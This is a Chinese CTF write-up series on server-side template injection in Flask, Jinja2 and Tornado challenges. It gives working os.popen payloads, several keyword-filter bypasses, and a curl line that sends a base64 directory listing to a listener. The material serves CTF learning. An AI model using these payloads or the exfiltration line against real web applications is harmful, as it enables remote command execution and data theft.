栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

SSTI(模板注入) ——(7)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SSTI(模板注入) ——(7)

砍几刀SSTI的CTF例题(doge)

目录
  • 简单
    • [CSCCTF 2019 Qual]FlaskLight
  • 签到
    • [BJDCTF2020]Cookie is so stable twig模板注入
    • [WesternCTF2018]shrine
    • [CISCN2019 华东南赛区]Web11 smarty模板注入
    • [BJDCTF2020]The mystery of ip
    • [GYCTF2020]FlaskApp
    • [pasecactf_2019]flask_ssti
    • [GWCTF 2019]你的名字
    • [CISCN2019 总决赛 Day1 Web3]Flask Message Board
  • 中等
    • [护网杯 2018]easy_tornado
    • [CISCN2019 华东南赛区]Double Secret
  • 困难
    • [QWB2021 Quals]托纳多
  • 脑洞
    • [RootersCTF2019]I_<3_Flask

简单 [CSCCTF 2019 Qual]FlaskLight

发现提示

进行测试

放入fuzz.py跑一下敏感函数

构造payload

{{''.__class__.__mro__[2].__subclasses__()[258].__init__.__globals__['os'].popen(cat /xxx/flag)}}

出现未知错误

这里应该是关键字过滤

那就绕它!

{{''.__class__.__mro__[2].__subclasses__()[258].__init__['__glo'+'bals__']['os'].popen('whoami').read()}}

读取flag

{{''.__class__.__mro__[2].__subclasses__()[258].__init__['__glo'+'bals__']['os'].popen('cat flasklight/coomme_geeeett_youur_flek ').read()}}

签到 [BJDCTF2020]Cookie is so stable twig模板注入

这道前边已经写过了,cookie处存在SSTI

[WesternCTF2018]shrine

想方设法获取config
进入后,源码如下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在/shrine/路径下提交参数,模板中设定{{ }}包括的内容为后端变量,% %包括的内容为逻辑语句

测试一下存在模板注入

我们查看源码,可以知道我们提交的参数之中的()会被置为空,同时会将黑名单内的内容遍历一遍,把参数内的与黑名单相同的置为None,黑名单过滤了 config,self

如果没有黑名单的时候,我们可以使用config,传入 config,或者使用self,传入 {{self.__dict__}}
但我们仍然可以利用url_for()和get_flashed_messages()函数来读取config

current_app是当前使用的app,继续注入当前app的config

url_for.__globals__['current_app'].config

payload:

http://35b79659-2ecc-4c97-ac96-420e49895523.node4.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config['FLAG'])}}

http://35b79659-2ecc-4c97-ac96-420e49895523.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

[CISCN2019 华东南赛区]Web11 smarty模板注入

前边已经写过,smarty模板注入,X-Forwarded-For:处

[BJDCTF2020]The mystery of ip


和上道题很类似,
抓包请求flag的界面

一眼模板注入

[GYCTF2020]FlaskApp

debug模式一定条件下可以窃取出来pin码命令执行,但是题目过滤的不够严格导致可以直接打,比签到难一点

前边已经写过
hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错。
进而得到源码
分析存在SSTI
发现设置了waf
直接绕过就ok

[pasecactf_2019]flask_ssti

编码绕过
题目本身出的很诡异,flag删了然后源码里面放了一个憨批对称加密函数,加密过的flag放进了config里面,config可以直接看(BUU题目描述上的那个加密函数是错的),过滤了单引号点号下划线,目标是读源码

题目已经提示是SSTI

列举子类被禁止,测试发现过滤下划线 点 单引号

转16进制绕过


解法一:
读取app.py源码,发现:

def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') 

读取config,flag值为

'-M7x10wx12d9cT#`}x0ex1ex0fiS(Dx1ex13Xx17{nx03gx02tx10[#x07/(Akx15^NG'}> 

解密脚本:

key='GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2='xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag_encoded='这里放加密后的flag'
flag=''
for x in range(len(flag_encoded)):
    for i in range(33,127):
        if flag_encoded[x]==chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
            flag+=chr(i)
            print(flag)

解法二:
/proc/self表示当前进程目录

获取当前进程打开的文件内容:cat /proc/self/fd/{id}

注意:在真正做题的时候,我们是不能通过命令的方式执行通过cat命令读取cmdline的。因为如果 cat读取/proc/self/cmdline/的话,得到的是 cat进程的信息。所以我们要通过题目的当前进程使用读取文件(比如,文件包含漏洞,,SSTI,,file:本地读取,,…/…/…/目录穿越,,SSRF)的方式读取/proc/self/cmdline

结合SSTI,

{{()["x5Fx5Fclassx5Fx5F"]["x5Fx5Fbasesx5Fx5F"][0]["x5Fx5Fsubclassesx5Fx5F"]()[91]["getx5Fdata"](0, "/proc/self/fd/3")}}

反正这个题有点问题吧,感觉

[GWCTF 2019]你的名字


人直接傻了,怎么python的后端会报php的错

{{...}}装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值。

双大括号这种表示方式就是可以直接回显在页面上的,而这种方式被过滤了,那我们就使用{% ... %}语句
{% %}可以配合if()或者print()函数进行输出


成功回显

lipsum是一个方法

该方法常用payload

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

发现过滤了很多关键词,进行绕过

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}


读取一下根目录,有货

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('ls /').read()%}

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

解法二:

刚开是读取当前目录的时候,看到了app.py,读取一下

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('ls app.py').read()%}


源码如下:

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local' ,'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];

for no in blacklist:
 while True:
	if no in s:
		 s = s.replace(no, '')
	else:
         break
return s

先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因此这里用双写是无法绕过的,但是这种过滤的逻辑是错误的,如下这种构造是无法被过滤的:

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}

因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,但是过滤完config之后才会出现黑名单中前面的字符串,因此可以绕过。

解法三:不用print,使用curl外带

{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://127.0.0.1:2333/ -d `ls /|base64`') %}1{% endiconfigf %}

vps监听2333端口即可

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

暂时不写,埋个坑

中等 [护网杯 2018]easy_tornado



网址里有参数filename和filehash推测这里flag应该是filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。
filename知道了,cookie_secret在哪呢?hints提示render(详情请看render函数介绍,以及 render: h => h(App)),又
根据题目easy_tornado可推测是服务器模板注入(参考之前的文章)。因为render()是tornado里的函数,可以生成html模板。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

验证:

/file?filename=/fllllllllllllag&filehash={{1}}


用{{1}}测试filename和filehash参数,结果都跳转到这个页面。
试试msg参数:

/error?msg={{1}}


猜测msg可控,测试tornado模板注入,证明是有ssti注入的。
说了那么多,那cookie_secret到底在哪?

我感觉这才是这题最难的地方:我们要查阅官方文档
在这个页面搜索(ctrl+F)cookie_secret
查看setting

看来cookie_secret和settings相关,那就试试输入settings

最后查阅相关资料

Tornado提供了一些对象别名来快速访问对象。Handler指向的是处理当前这个页面的RequestHandler对象
handler是RequestHandler的别名,而RequestHandler.settings是self.application.settings的别名。所以handler.settings就等于RequestHandler.application.settings。这个self是oneself的意思,哪个对象用就是哪个对象的.application.settings。
所以最后就是cookie_secret在RequestHandler.application.settings里
用handler.settings访问RequestHandler.application.settings

payload:

/error?msg={{handler.settings}}


得出cookie_secret后就可以求md5(cookie_secret+md5(filename))了

用MD5加密网站试了好多次都不行,找了个脚本

import hashlib

hash = hashlib.md5()   #创建md5加密对象
hash.update("/fllllllllllllag".encode('UTF-8')) #更新对象要加密的字符串,要先UTF-8编码成二进制,因为md5只加密二进制
s1=hash.hexdigest()#以十六进制输出密文
hash = hashlib.md5()#按要求重复步骤
hash.update((eef0760b-c8dd-4741-8dd6-198cd4e77832+s1).encode('utf-8'))
print(hash.hexdigest())

也可以用简短的:

import hashlib

s1=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()
print((hashlib.md5(("88418b16-e8cf-4a57-9b43-2abd81796dea"+s1).encode())).hexdigest())

[CISCN2019 华东南赛区]Double Secret


提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下

根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下

报错,寻找可用信息

这里其实就是对我们输入参数的一个判断,首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。

找个脚本
也可以自己先base64编码后找个rc4加密网站进行加密

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

加密后的字符串为

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

困难 [QWB2021 Quals]托纳多

参考文章:
[QWB2021 Quals]陀那多/托纳多
强网杯[pop_master]与[陀那多]

脑洞 [RootersCTF2019]I_❤️_Flask

参考文章:

[RootersCTF2019]I_<3_Flask

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/960292.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号